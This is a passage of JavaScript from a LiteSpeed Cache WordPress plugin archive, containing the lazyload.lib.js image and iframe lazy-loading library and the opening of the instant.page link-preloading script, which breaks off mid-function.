1,GM_registerMenuCommand:!1,GM_setClipboard:!1,GM_setValue:!1,GM_xmlhttpRequest:!1,unsafeWindow:!1}}},function(e,t){e.exports={75:8490,83:383,107:8490,115:383,181:924,197:8491,383:83,452:453,453:452,455:456,456:455,458:459,459:458,497:498,498:497,837:8126,914:976,917:1013,920:1012,921:8126,922:1008,924:181,928:982,929:1009,931:962,934:981,937:8486,962:931,976:914,977:1012,981:934,982:928,1008:922,1009:929,1012:[920,977],1013:917,7776:7835,7835:7776,8126:[837,921],8486:937,8490:75,8491:197,66560:66600,66561:66601,66562:66602,66563:66603,66564:66604,66565:66605,66566:66606,66567:66607,66568:66608,66569:66609,66570:66610,66571:66611,66572:66612,66573:66613,66574:66614,66575:66615,66576:66616,66577:66617,66578:66618,66579:66619,66580:66620,66581:66621,66582:66622,66583:66623,66584:66624,66585:66625,66586:66626,66587:66627,66588:66628,66589:66629,66590:66630,66591:66631,66592:66632,66593:66633,66594:66634,66595:66635,66596:66636,66597:66637,66598:66638,66599:66639,66600:66560,66601:66561,66602:66562,66603:66563,66604:66564,66605:66565,66606:66566,66607:66567,66608:66568,66609:66569,66610:66570,66611:66571,66612:66572,66613:66573,66614:66574,66615:66575,66616:66576,66617:66577,66618:66578,66619:66579,66620:66580,66621:66581,66622:66582,66623:66583,66624:66584,66625:66585,66626:66586,66627:66587,66628:66588,66629:66589,66630:66590,66631:66591,66632:66592,66633:66593,66634:66594,66635:66595,66636:66596,66637:66597,66638:66598,66639:66599,68736:68800,68737:68801,68738:68802,68739:68803,68740:68804,68741:68805,68742:68806,68743:68807,68744:68808,68745:68809,68746:68810,68747:68811,68748:68812,68749:68813,68750:68814,68751:68815,68752:68816,68753:68817,68754:68818,68755:68819,68756:68820,68757:68821,68758:68822,68759:68823,68760:68824,68761:68825,68762:68826,68763:68827,68764:68828,68765:68829,68766:68830,68767:68831,68768:68832,68769:68833,68770:68834,68771:68835,68772:68836,68773:68837,68774:68838,68775:68839,68776:68840,68777:68841,68778:68842,68779:68843,68780:68844,68781:68845,68782:68846,68783:68847,68784:68848,68785:68849,68786:68850,68800:68736,68801:68737,68802:68738,68803:68739,68804:68740,68805:68741,68806:68742,68807:68743,68808:68744,68809:68745,68810:68746,68811:68747,68812:68748,68813:68749,68814:68750,68815:68751,68816:68752,68817:68753,68818:68754,68819:68755,68820:68756,68821:68757,68822:68758,68823:68759,68824:68760,68825:68761,68826:68762,68827:68763,68828:68764,68829:68765,68830:68766,68831:68767,68832:68768,68833:68769,68834:68770,68835:68771,68836:68772,68837:68773,68838:68774,68839:68775,68840:68776,68841:68777,68842:68778,68843:68779,68844:68780,68845:68781,68846:68782,68847:68783,68848:68784,68849:68785,68850:68786,71840:71872,71841:71873,71842:71874,71843:71875,71844:71876,71845:71877,71846:71878,71847:71879,71848:71880,71849:71881,71850:71882,71851:71883,71852:71884,71853:71885,71854:71886,71855:71887,71856:71888,71857:71889,71858:71890,71859:71891,71860:71892,71861:71893,71862:71894,71863:71895,71864:71896,71865:71897,71866:71898,71867:71899,71868:71900,71869:71901,71870:71902,71871:71903,71872:71840,71873:71841,71874:71842,71875:71843,71876:71844,71877:71845,71878:71846,71879:71847,71880:71848,71881:71849,71882:71850,71883:71851,71884:71852,71885:71853,71886:71854,71887:71855,71888:71856,71889:71857,71890:71858,71891:71859,71892:71860,71893:71861,71894:71862,71895:71863,71896:71864,71897:71865,71898:71866,71899:71867,71900:71868,71901:71869,71902:71870,71903:71871}}]))});litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/lazyload.lib.js000064400000061624151031165260021140 0ustar00(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined'
		? (module.exports = factory())
		: typeof define === 'function' && define.amd
		? define(factory)
		: ((global = typeof globalThis !== 'undefined' ? globalThis : global || self), (global.LazyLoad = factory()));
})(this, function () {
	'use strict';

	function _extends() {
		_extends =
			Object.assign ||
			function (target) {
				for (var i = 1; i < arguments.length; i++) {
					var source = arguments[i];

					for (var key in source) {
						if (Object.prototype.hasOwnProperty.call(source, key)) {
							target[key] = source[key];
						}
					}
				}

				return target;
			};

		return _extends.apply(this, arguments);
	}

	var runningOnBrowser = typeof window !== 'undefined';
	var isBot = (runningOnBrowser && !('onscroll' in window)) || (typeof navigator !== 'undefined' && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent));
	var supportsIntersectionObserver = runningOnBrowser && 'IntersectionObserver' in window;
	var supportsClassList = runningOnBrowser && 'classList' in document.createElement('p');
	var isHiDpi = runningOnBrowser && window.devicePixelRatio > 1;

	var defaultSettings = {
		elements_selector: '.lazy',
		container: isBot || runningOnBrowser ? document : null,
		threshold: 300,
		thresholds: null,
		data_src: 'src',
		data_srcset: 'srcset',
		data_sizes: 'sizes',
		data_bg: 'bg',
		data_bg_hidpi: 'bg-hidpi',
		data_bg_multi: 'bg-multi',
		data_bg_multi_hidpi: 'bg-multi-hidpi',
		data_poster: 'poster',
		class_applied: 'applied',
		class_loading: 'litespeed-loading',
		class_loaded: 'litespeed-loaded', // https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images
		class_error: 'error',
		class_entered: 'entered',
		class_exited: 'exited',
		unobserve_completed: true,
		unobserve_entered: false,
		cancel_on_exit: true,
		callback_enter: null,
		callback_exit: null,
		callback_applied: null,
		callback_loading: null,
		callback_loaded: null,
		callback_error: null,
		callback_finish: null,
		callback_cancel: null,
		use_native: false,
	};
	var getExtendedSettings = function getExtendedSettings(customSettings) {
		return _extends({}, defaultSettings, customSettings);
	};

	/* Creates instance and notifies it through the window element */
	var createInstance = function createInstance(classObj, options) {
		var event;
		var eventString = 'LazyLoad::Initialized';
		var instance = new classObj(options);

		try {
			// Works in modern browsers
			event = new CustomEvent(eventString, {
				detail: {
					instance: instance,
				},
			});
		} catch (err) {
			// Works in Internet Explorer (all versions)
			event = document.createEvent('CustomEvent');
			event.initCustomEvent(eventString, false, false, {
				instance: instance,
			});
		}

		window.dispatchEvent(event);
	};
	/* Auto initialization of one or more instances of lazyload, depending on the
      options passed in (plain object or an array) */

	var autoInitialize = function autoInitialize(classObj, options) {
		if (!options) {
			return;
		}

		if (!options.length) {
			// Plain object
			createInstance(classObj, options);
		} else {
			// Array of objects
			for (var i = 0, optionsItem; (optionsItem = options[i]); i += 1) {
				createInstance(classObj, optionsItem);
			}
		}
	};

	var SRC = 'src';
	var SRCSET = 'srcset';
	var SIZES = 'sizes';
	var POSTER = 'poster';
	var ORIGINALS = 'llOriginalAttrs';

	var statusLoading = 'loading';
	var statusLoaded = 'loaded';
	var statusApplied = 'applied';
	var statusEntered = 'entered';
	var statusError = 'error';
	var statusNative = 'native';

	var dataPrefix = 'data-';
	var statusDataName = 'll-status';
	var getData = function getData(element, attribute) {
		return element.getAttribute(dataPrefix + attribute);
	};
	var setData = function setData(element, attribute, value) {
		var attrName = dataPrefix + attribute;

		if (value === null) {
			element.removeAttribute(attrName);
			return;
		}

		element.setAttribute(attrName, value);
	};
	var getStatus = function getStatus(element) {
		return getData(element, statusDataName);
	};
	var setStatus = function setStatus(element, status) {
		return setData(element, statusDataName, status);
	};
	var resetStatus = function resetStatus(element) {
		return setStatus(element, null);
	};
	var hasEmptyStatus = function hasEmptyStatus(element) {
		return getStatus(element) === null;
	};
	var hasStatusLoading = function hasStatusLoading(element) {
		return getStatus(element) === statusLoading;
	};
	var hasStatusError = function hasStatusError(element) {
		return getStatus(element) === statusError;
	};
	var hasStatusNative = function hasStatusNative(element) {
		return getStatus(element) === statusNative;
	};
	var statusesAfterLoading = [statusLoading, statusLoaded, statusApplied, statusError];
	var hadStartedLoading = function hadStartedLoading(element) {
		return statusesAfterLoading.indexOf(getStatus(element)) >= 0;
	};

	var safeCallback = function safeCallback(callback, arg1, arg2, arg3) {
		if (!callback) {
			return;
		}

		if (arg3 !== undefined) {
			callback(arg1, arg2, arg3);
			return;
		}

		if (arg2 !== undefined) {
			callback(arg1, arg2);
			return;
		}

		callback(arg1);
	};

	var addClass = function addClass(element, className) {
		if (supportsClassList) {
			element.classList.add(className);
			return;
		}

		element.className += (element.className ? ' ' : '') + className;
	};
	var removeClass = function removeClass(element, className) {
		if (supportsClassList) {
			element.classList.remove(className);
			return;
		}

		element.className = element.className
			.replace(new RegExp('(^|\\s+)' + className + '(\\s+|$)'), ' ')
			.replace(/^\s+/, '')
			.replace(/\s+$/, '');
	};

	var addTempImage = function addTempImage(element) {
		element.llTempImage = document.createElement('IMG');
	};
	var deleteTempImage = function deleteTempImage(element) {
		delete element.llTempImage;
	};
	var getTempImage = function getTempImage(element) {
		return element.llTempImage;
	};

	var unobserve = function unobserve(element, instance) {
		if (!instance) return;
		var observer = instance._observer;
		if (!observer) return;
		observer.unobserve(element);
	};
	var resetObserver = function resetObserver(observer) {
		observer.disconnect();
	};
	var unobserveEntered = function unobserveEntered(element, settings, instance) {
		if (settings.unobserve_entered) unobserve(element, instance);
	};

	var updateLoadingCount = function updateLoadingCount(instance, delta) {
		if (!instance) return;
		instance.loadingCount += delta;
	};
	var decreaseToLoadCount = function decreaseToLoadCount(instance) {
		if (!instance) return;
		instance.toLoadCount -= 1;
	};
	var setToLoadCount = function setToLoadCount(instance, value) {
		if (!instance) return;
		instance.toLoadCount = value;
	};
	var isSomethingLoading = function isSomethingLoading(instance) {
		return instance.loadingCount > 0;
	};
	var haveElementsToLoad = function haveElementsToLoad(instance) {
		return instance.toLoadCount > 0;
	};

	var getSourceTags = function getSourceTags(parentTag) {
		var sourceTags = [];

		for (var i = 0, childTag; (childTag = parentTag.children[i]); i += 1) {
			if (childTag.tagName === 'SOURCE') {
				sourceTags.push(childTag);
			}
		}

		return sourceTags;
	};

	var forEachPictureSource = function forEachPictureSource(element, fn) {
		var parent = element.parentNode;

		if (!parent || parent.tagName !== 'PICTURE') {
			return;
		}

		var sourceTags = getSourceTags(parent);
		sourceTags.forEach(fn);
	};
	var forEachVideoSource = function forEachVideoSource(element, fn) {
		var sourceTags = getSourceTags(element);
		sourceTags.forEach(fn);
	};

	var attrsSrc = [SRC];
	var attrsSrcPoster = [SRC, POSTER];
	var attrsSrcSrcsetSizes = [SRC, SRCSET, SIZES];
	var hasOriginalAttrs = function hasOriginalAttrs(element) {
		return !!element[ORIGINALS];
	};
	var getOriginalAttrs = function getOriginalAttrs(element) {
		return element[ORIGINALS];
	};
	var deleteOriginalAttrs = function deleteOriginalAttrs(element) {
		return delete element[ORIGINALS];
	}; // ## SAVE ##

	var setOriginalsObject = function setOriginalsObject(element, attributes) {
		if (hasOriginalAttrs(element)) {
			return;
		}

		var originals = {};
		attributes.forEach(function (attribute) {
			originals[attribute] = element.getAttribute(attribute);
		});
		element[ORIGINALS] = originals;
	};
	var saveOriginalBackgroundStyle = function saveOriginalBackgroundStyle(element) {
		if (hasOriginalAttrs(element)) {
			return;
		}

		element[ORIGINALS] = {
			backgroundImage: element.style.backgroundImage,
		};
	}; // ## RESTORE ##

	var setOrResetAttribute = function setOrResetAttribute(element, attrName, value) {
		if (!value) {
			element.removeAttribute(attrName);
			return;
		}

		element.setAttribute(attrName, value);
	};

	var restoreOriginalAttrs = function restoreOriginalAttrs(element, attributes) {
		if (!hasOriginalAttrs(element)) {
			return;
		}

		var originals = getOriginalAttrs(element);
		attributes.forEach(function (attribute) {
			setOrResetAttribute(element, attribute, originals[attribute]);
		});
	};
	var restoreOriginalBgImage = function restoreOriginalBgImage(element) {
		if (!hasOriginalAttrs(element)) {
			return;
		}

		var originals = getOriginalAttrs(element);
		element.style.backgroundImage = originals.backgroundImage;
	};

	var manageApplied = function manageApplied(element, settings, instance) {
		addClass(element, settings.class_applied);
		setStatus(element, statusApplied); // Instance is not provided when loading is called from static class

		if (!instance) return;

		if (settings.unobserve_completed) {
			// Unobserve now because we can't do it on load
			unobserve(element, settings);
		}

		safeCallback(settings.callback_applied, element, instance);
	};
	var manageLoading = function manageLoading(element, settings, instance) {
		addClass(element, settings.class_loading);
		setStatus(element, statusLoading); // Instance is not provided when loading is called from static class

		if (!instance) return;
		updateLoadingCount(instance, +1);
		safeCallback(settings.callback_loading, element, instance);
	};
	var setAttributeIfValue = function setAttributeIfValue(element, attrName, value) {
		if (!value) {
			return;
		}

		element.setAttribute(attrName, value);
	};
	var setImageAttributes = function setImageAttributes(element, settings) {
		setAttributeIfValue(element, SIZES, getData(element, settings.data_sizes));
		setAttributeIfValue(element, SRCSET, getData(element, settings.data_srcset));
		setAttributeIfValue(element, SRC, getData(element, settings.data_src));
	};
	var setSourcesImg = function setSourcesImg(imgEl, settings) {
		forEachPictureSource(imgEl, function (sourceTag) {
			setOriginalsObject(sourceTag, attrsSrcSrcsetSizes);
			setImageAttributes(sourceTag, settings);
		});
		setOriginalsObject(imgEl, attrsSrcSrcsetSizes);
		setImageAttributes(imgEl, settings);
	};
	var setSourcesIframe = function setSourcesIframe(iframe, settings) {
		setOriginalsObject(iframe, attrsSrc);
		setAttributeIfValue(iframe, SRC, getData(iframe, settings.data_src));
	};
	var setSourcesVideo = function setSourcesVideo(videoEl, settings) {
		forEachVideoSource(videoEl, function (sourceEl) {
			setOriginalsObject(sourceEl, attrsSrc);
			setAttributeIfValue(sourceEl, SRC, getData(sourceEl, settings.data_src));
		});
		setOriginalsObject(videoEl, attrsSrcPoster);
		setAttributeIfValue(videoEl, POSTER, getData(videoEl, settings.data_poster));
		setAttributeIfValue(videoEl, SRC, getData(videoEl, settings.data_src));
		videoEl.load();
	};
	var setBackground = function setBackground(element, settings, instance) {
		var bg1xValue = getData(element, settings.data_bg);
		var bgHiDpiValue = getData(element, settings.data_bg_hidpi);
		var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue;
		if (!bgDataValue) return;
		element.style.backgroundImage = 'url("'.concat(bgDataValue, '")');
		getTempImage(element).setAttribute(SRC, bgDataValue);
		manageLoading(element, settings, instance);
	}; // NOTE: THE TEMP IMAGE TRICK CANNOT BE DONE WITH data-multi-bg
	// BECAUSE INSIDE ITS VALUES MUST BE WRAPPED WITH URL() AND ONE OF THEM
	// COULD BE A GRADIENT BACKGROUND IMAGE

	var setMultiBackground = function setMultiBackground(element, settings, instance) {
		var bg1xValue = getData(element, settings.data_bg_multi);
		var bgHiDpiValue = getData(element, settings.data_bg_multi_hidpi);
		var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue;

		if (!bgDataValue) {
			return;
		}

		element.style.backgroundImage = bgDataValue;
		manageApplied(element, settings, instance);
	};
	var setSourcesFunctions = {
		IMG: setSourcesImg,
		IFRAME: setSourcesIframe,
		VIDEO: setSourcesVideo,
	};
	var setSourcesNative = function setSourcesNative(element, settings) {
		var setSourcesFunction = setSourcesFunctions[element.tagName];

		if (!setSourcesFunction) {
			return;
		}

		setSourcesFunction(element, settings);
	};
	var setSources = function setSources(element, settings, instance) {
		var setSourcesFunction = setSourcesFunctions[element.tagName];

		if (!setSourcesFunction) {
			return;
		}

		setSourcesFunction(element, settings);
		manageLoading(element, settings, instance);
	};

	var elementsWithLoadEvent = ['IMG', 'IFRAME', 'VIDEO'];
	var hasLoadEvent = function hasLoadEvent(element) {
		return elementsWithLoadEvent.indexOf(element.tagName) > -1;
	};
	var checkFinish = function checkFinish(settings, instance) {
		if (instance && !isSomethingLoading(instance) && !haveElementsToLoad(instance)) {
			safeCallback(settings.callback_finish, instance);
		}
	};
	var addEventListener = function addEventListener(element, eventName, handler) {
		element.addEventListener(eventName, handler);
		element.llEvLisnrs[eventName] = handler;
	};
	var removeEventListener = function removeEventListener(element, eventName, handler) {
		element.removeEventListener(eventName, handler);
	};
	var hasEventListeners = function hasEventListeners(element) {
		return !!element.llEvLisnrs;
	};
	var addEventListeners = function addEventListeners(element, loadHandler, errorHandler) {
		if (!hasEventListeners(element)) element.llEvLisnrs = {};
		var loadEventName = element.tagName === 'VIDEO' ? 'loadeddata' : 'load';
		addEventListener(element, loadEventName, loadHandler);
		addEventListener(element, 'error', errorHandler);
	};
	var removeEventListeners = function removeEventListeners(element) {
		if (!hasEventListeners(element)) {
			return;
		}

		var eventListeners = element.llEvLisnrs;

		for (var eventName in eventListeners) {
			var handler = eventListeners[eventName];
			removeEventListener(element, eventName, handler);
		}

		delete element.llEvLisnrs;
	};
	var doneHandler = function doneHandler(element, settings, instance) {
		deleteTempImage(element);
		updateLoadingCount(instance, -1);
		decreaseToLoadCount(instance);
		removeClass(element, settings.class_loading);

		if (settings.unobserve_completed) {
			unobserve(element, instance);
		}
	};
	var loadHandler = function loadHandler(event, element, settings, instance) {
		var goingNative = hasStatusNative(element);
		doneHandler(element, settings, instance);
		addClass(element, settings.class_loaded);
		setStatus(element, statusLoaded);
		safeCallback(settings.callback_loaded, element, instance);
		if (!goingNative) checkFinish(settings, instance);
	};
	var errorHandler = function errorHandler(event, element, settings, instance) {
		var goingNative = hasStatusNative(element);
		doneHandler(element, settings, instance);
		addClass(element, settings.class_error);
		setStatus(element, statusError);
		safeCallback(settings.callback_error, element, instance);
		if (!goingNative) checkFinish(settings, instance);
	};
	var addOneShotEventListeners = function addOneShotEventListeners(element, settings, instance) {
		var elementToListenTo = getTempImage(element) || element;

		if (hasEventListeners(elementToListenTo)) {
			// This happens when loading is retried twice
			return;
		}

		var _loadHandler = function _loadHandler(event) {
			loadHandler(event, element, settings, instance);
			removeEventListeners(elementToListenTo);
		};

		var _errorHandler = function _errorHandler(event) {
			errorHandler(event, element, settings, instance);
			removeEventListeners(elementToListenTo);
		};

		addEventListeners(elementToListenTo, _loadHandler, _errorHandler);
	};

	var loadBackground = function loadBackground(element, settings, instance) {
		addTempImage(element);
		addOneShotEventListeners(element, settings, instance);
		saveOriginalBackgroundStyle(element);
		setBackground(element, settings, instance);
		setMultiBackground(element, settings, instance);
	};

	var loadRegular = function loadRegular(element, settings, instance) {
		addOneShotEventListeners(element, settings, instance);
		setSources(element, settings, instance);
	};

	var load = function load(element, settings, instance) {
		if (hasLoadEvent(element)) {
			loadRegular(element, settings, instance);
		} else {
			loadBackground(element, settings, instance);
		}
	};
	var loadNative = function loadNative(element, settings, instance) {
		element.setAttribute('loading', 'lazy');
		addOneShotEventListeners(element, settings, instance);
		setSourcesNative(element, settings);
		setStatus(element, statusNative);
	};

	var removeImageAttributes = function removeImageAttributes(element) {
		element.removeAttribute(SRC);
		element.removeAttribute(SRCSET);
		element.removeAttribute(SIZES);
	};

	var resetSourcesImg = function resetSourcesImg(element) {
		forEachPictureSource(element, function (sourceTag) {
			removeImageAttributes(sourceTag);
		});
		removeImageAttributes(element);
	};

	var restoreImg = function restoreImg(imgEl) {
		forEachPictureSource(imgEl, function (sourceEl) {
			restoreOriginalAttrs(sourceEl, attrsSrcSrcsetSizes);
		});
		restoreOriginalAttrs(imgEl, attrsSrcSrcsetSizes);
	};
	var restoreVideo = function restoreVideo(videoEl) {
		forEachVideoSource(videoEl, function (sourceEl) {
			restoreOriginalAttrs(sourceEl, attrsSrc);
		});
		restoreOriginalAttrs(videoEl, attrsSrcPoster);
		videoEl.load();
	};
	var restoreIframe = function restoreIframe(iframeEl) {
		restoreOriginalAttrs(iframeEl, attrsSrc);
	};
	var restoreFunctions = {
		IMG: restoreImg,
		IFRAME: restoreIframe,
		VIDEO: restoreVideo,
	};

	var restoreAttributes = function restoreAttributes(element) {
		var restoreFunction = restoreFunctions[element.tagName];

		if (!restoreFunction) {
			restoreOriginalBgImage(element);
			return;
		}

		restoreFunction(element);
	};

	var resetClasses = function resetClasses(element, settings) {
		if (hasEmptyStatus(element) || hasStatusNative(element)) {
			return;
		}

		removeClass(element, settings.class_entered);
		removeClass(element, settings.class_exited);
		removeClass(element, settings.class_applied);
		removeClass(element, settings.class_loading);
		removeClass(element, settings.class_loaded);
		removeClass(element, settings.class_error);
	};

	var restore = function restore(element, settings) {
		restoreAttributes(element);
		resetClasses(element, settings);
		resetStatus(element);
		deleteOriginalAttrs(element);
	};

	var cancelLoading = function cancelLoading(element, entry, settings, instance) {
		if (!settings.cancel_on_exit) return;
		if (!hasStatusLoading(element)) return;
		if (element.tagName !== 'IMG') return; //Works only on images

		removeEventListeners(element);
		resetSourcesImg(element);
		restoreImg(element);
		removeClass(element, settings.class_loading);
		updateLoadingCount(instance, -1);
		resetStatus(element);
		safeCallback(settings.callback_cancel, element, entry, instance);
	};

	var onEnter = function onEnter(element, entry, settings, instance) {
		var dontLoad = hadStartedLoading(element);
		/* Save status
    before setting it, to prevent loading it again. Fixes #526. */

		setStatus(element, statusEntered);
		addClass(element, settings.class_entered);
		removeClass(element, settings.class_exited);
		unobserveEntered(element, settings, instance);
		safeCallback(settings.callback_enter, element, entry, instance);
		if (dontLoad) return;
		load(element, settings, instance);
	};
	var onExit = function onExit(element, entry, settings, instance) {
		if (hasEmptyStatus(element)) return; //Ignore the first pass, at landing

		addClass(element, settings.class_exited);
		cancelLoading(element, entry, settings, instance);
		safeCallback(settings.callback_exit, element, entry, instance);
	};

	var tagsWithNativeLazy = ['IMG', 'IFRAME', 'VIDEO'];
	var shouldUseNative = function shouldUseNative(settings) {
		return settings.use_native && 'loading' in HTMLImageElement.prototype;
	};
	var loadAllNative = function loadAllNative(elements, settings, instance) {
		elements.forEach(function (element) {
			if (tagsWithNativeLazy.indexOf(element.tagName) === -1) {
				return;
			}

			loadNative(element, settings, instance);
		});
		setToLoadCount(instance, 0);
	};

	var isIntersecting = function isIntersecting(entry) {
		return entry.isIntersecting || entry.intersectionRatio > 0;
	};

	var getObserverSettings = function getObserverSettings(settings) {
		return {
			root: settings.container === document ? null : settings.container,
			rootMargin: settings.thresholds || settings.threshold + 'px',
		};
	};

	var intersectionHandler = function intersectionHandler(entries, settings, instance) {
		entries.forEach(function (entry) {
			return isIntersecting(entry) ? onEnter(entry.target, entry, settings, instance) : onExit(entry.target, entry, settings, instance);
		});
	};

	var observeElements = function observeElements(observer, elements) {
		elements.forEach(function (element) {
			observer.observe(element);
		});
	};
	var updateObserver = function updateObserver(observer, elementsToObserve) {
		resetObserver(observer);
		observeElements(observer, elementsToObserve);
	};
	var setObserver = function setObserver(settings, instance) {
		if (!supportsIntersectionObserver || shouldUseNative(settings)) {
			return;
		}

		instance._observer = new IntersectionObserver(function (entries) {
			intersectionHandler(entries, settings, instance);
		}, getObserverSettings(settings));
	};

	var toArray = function toArray(nodeSet) {
		return Array.prototype.slice.call(nodeSet);
	};
	var queryElements = function queryElements(settings) {
		return settings.container.querySelectorAll(settings.elements_selector);
	};
	var excludeManagedElements = function excludeManagedElements(elements) {
		return toArray(elements).filter(hasEmptyStatus);
	};
	var hasError = function hasError(element) {
		return hasStatusError(element);
	};
	var filterErrorElements = function filterErrorElements(elements) {
		return toArray(elements).filter(hasError);
	};
	var getElementsToLoad = function getElementsToLoad(elements, settings) {
		return excludeManagedElements(elements || queryElements(settings));
	};

	var retryLazyLoad = function retryLazyLoad(settings, instance) {
		var errorElements = filterErrorElements(queryElements(settings));
		errorElements.forEach(function (element) {
			removeClass(element, settings.class_error);
			resetStatus(element);
		});
		instance.update();
	};
	var setOnlineCheck = function setOnlineCheck(settings, instance) {
		if (!runningOnBrowser) {
			return;
		}

		window.addEventListener('online', function () {
			retryLazyLoad(settings, instance);
		});
	};

	var LazyLoad = function LazyLoad(customSettings, elements) {
		var settings = getExtendedSettings(customSettings);
		this._settings = settings;
		this.loadingCount = 0;
		setObserver(settings, this);
		setOnlineCheck(settings, this);
		this.update(elements);
	};

	LazyLoad.prototype = {
		update: function update(givenNodeset) {
			var settings = this._settings;
			var elementsToLoad = getElementsToLoad(givenNodeset, settings);
			setToLoadCount(this, elementsToLoad.length);

			if (isBot || !supportsIntersectionObserver) {
				this.loadAll(elementsToLoad);
				return;
			}

			if (shouldUseNative(settings)) {
				loadAllNative(elementsToLoad, settings, this);
				return;
			}

			updateObserver(this._observer, elementsToLoad);
		},
		destroy: function destroy() {
			// Observer
			if (this._observer) {
				this._observer.disconnect();
			} // Clean custom attributes on elements

			queryElements(this._settings).forEach(function (element) {
				deleteOriginalAttrs(element);
			}); // Delete all internal props

			delete this._observer;
			delete this._settings;
			delete this.loadingCount;
			delete this.toLoadCount;
		},
		loadAll: function loadAll(elements) {
			var _this = this;

			var settings = this._settings;
			var elementsToLoad = getElementsToLoad(elements, settings);
			elementsToLoad.forEach(function (element) {
				unobserve(element, _this);
				load(element, settings, _this);
			});
		},
		restoreAll: function restoreAll() {
			var settings = this._settings;
			queryElements(settings).forEach(function (element) {
				restore(element, settings);
			});
		},
	};

	LazyLoad.load = function (element, customSettings) {
		var settings = getExtendedSettings(customSettings);
		load(element, settings);
	};

	LazyLoad.resetStatus = function (element) {
		resetStatus(element);
	}; // Automatic instances creation if required (useful for async script loading)

	// if (runningOnBrowser) {
	// 	autoInitialize(LazyLoad, window.lazyLoadOptions);
	// }

	return LazyLoad;
});
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/instant_click.ori.js000064400000040501151031165260022160 0ustar00/*! instant.page v5.2.0 - (C) 2019-2024 Alexandre Dieulot - https://instant.page/license */

let _chromiumMajorVersionInUserAgent = null
  , _speculationRulesType
  , _allowQueryString
  , _allowExternalLinks
  , _useWhitelist
  , _delayOnHover = 65
  , _lastTouchstartEvent
  , _mouseoverTimer
  , _preloadedList = new Set()

init()

function init() {
  const supportCheckRelList = document.createElement('link').relList
  const isSupported = supportCheckRelList.supports('prefetch')
    && supportCheckRelList.supports('modulepreload')
  // instant.page is meant to be loaded with <script type=module>
  // (though sometimes webmasters load it as a regular script).
  // So it’s normally executed (and must not cause JavaScript errors) in:
  // - Chromium 61+
  // - Gecko in Firefox 60+
  // - WebKit in Safari 10.1+ (iOS 10.3+, macOS 10.10+)
  //
  // The check above used to check for IntersectionObserverEntry.isIntersecting
  // but module scripts support implies this compatibility — except in Safari
  // 10.1–12.0, but this prefetch check takes care of it.
  //
  // The modulepreload check is used to drop support for Firefox < 115 in order
  // to lessen maintenance.
  // This implies Safari 17+ (if it supported prefetch), if we ever support
  // fetch()-based preloading for Safari we might want to OR that check with
  // something that Safari 15.4 or 16.4 supports.
  // Also implies Chromium 66+.

  if (!isSupported) {
    return
  }

  const handleVaryAcceptHeader = 'instantVaryAccept' in document.body.dataset || 'Shopify' in window
  // The `Vary: Accept` header when received in Chromium 79–109 makes prefetches
  // unusable, as Chromium used to send a different `Accept` header.
  // It’s applied on all Shopify sites by default, as Shopify is very popular
  // and is the main source of this problem.
  // `window.Shopify` only exists on “classic” Shopify sites. Those using
  // Hydrogen (Remix SPA) aren’t concerned.

  const chromiumUserAgentIndex = navigator.userAgent.indexOf('Chrome/')
  if (chromiumUserAgentIndex > -1) {
    _chromiumMajorVersionInUserAgent = parseInt(navigator.userAgent.substring(chromiumUserAgentIndex + 'Chrome/'.length))
  }
  // The user agent client hints API is a theoretically more reliable way to
  // get Chromium’s version… but it’s not available in Samsung Internet 20.
  // It also requires a secure context, which would make debugging harder,
  // and is only available in recent Chromium versions.
  // In practice, Chromium browsers never shy from announcing "Chrome" in
  // their regular user agent string, as that maximizes their compatibility.

  if (handleVaryAcceptHeader && _chromiumMajorVersionInUserAgent && _chromiumMajorVersionInUserAgent < 110) {
    return
  }

  _speculationRulesType = 'none'
  if (HTMLScriptElement.supports && HTMLScriptElement.supports('speculationrules')) {
    const speculationRulesConfig = document.body.dataset.instantSpecrules
    if (speculationRulesConfig == 'prerender') {
      _speculationRulesType = 'prerender'
    } else if (speculationRulesConfig != 'no') {
      _speculationRulesType = 'prefetch'
    }
  }

  const useMousedownShortcut = 'instantMousedownShortcut' in document.body.dataset
  _allowQueryString = 'instantAllowQueryString' in document.body.dataset
  _allowExternalLinks = 'instantAllowExternalLinks' in document.body.dataset
  _useWhitelist = 'instantWhitelist' in document.body.dataset

  let preloadOnMousedown = false
  let preloadOnlyOnMousedown = false
  let preloadWhenVisible = false
  if ('instantIntensity' in document.body.dataset) {
    const intensityParameter = document.body.dataset.instantIntensity

    if (intensityParameter == 'mousedown' && !useMousedownShortcut) {
      preloadOnMousedown = true
    }

    if (intensityParameter == 'mousedown-only' && !useMousedownShortcut) {
      preloadOnMousedown = true
      preloadOnlyOnMousedown = true
    }

    if (intensityParameter == 'viewport') {
      const isOnSmallScreen = document.documentElement.clientWidth * document.documentElement.clientHeight < 450000
      // Smartphones are the most likely to have a slow connection, and
      // their small screen size limits the number of links (and thus
      // server load).
      //
      // Foldable phones (being expensive as of 2023), tablets and PCs
      // generally have a decent connection, and a big screen displaying
      // more links that would put more load on the server.
      //
      // iPhone 14 Pro Max (want): 430×932 = 400 760
      // Samsung Galaxy S22 Ultra with display size set to 80% (want):
      // 450×965 = 434 250
      // Small tablet (don’t want): 600×960 = 576 000
      // Those number are virtual screen size, the viewport (used for
      // the check above) will be smaller with the browser’s interface.

      const isNavigatorConnectionSaveDataEnabled = navigator.connection && navigator.connection.saveData
      const isNavigatorConnectionLike2g = navigator.connection && navigator.connection.effectiveType && navigator.connection.effectiveType.includes('2g')
      const isNavigatorConnectionAdequate = !isNavigatorConnectionSaveDataEnabled && !isNavigatorConnectionLike2g

      if (isOnSmallScreen && isNavigatorConnectionAdequate) {
        preloadWhenVisible = true
      }
    }

    if (intensityParameter == 'viewport-all') {
      preloadWhenVisible = true
    }

    const intensityAsInteger = parseInt(intensityParameter)
    if (!isNaN(intensityAsInteger)) {
      _delayOnHover = intensityAsInteger
    }
  }

  const eventListenersOptions = {
    capture: true,
    passive: true,
  }

  if (preloadOnlyOnMousedown) {
    document.addEventListener('touchstart', touchstartEmptyListener, eventListenersOptions)
  }
  else {
    document.addEventListener('touchstart', touchstartListener, eventListenersOptions)
  }

  if (!preloadOnMousedown) {
    document.addEventListener('mouseover', mouseoverListener, eventListenersOptions)
  }

  if (preloadOnMousedown) {
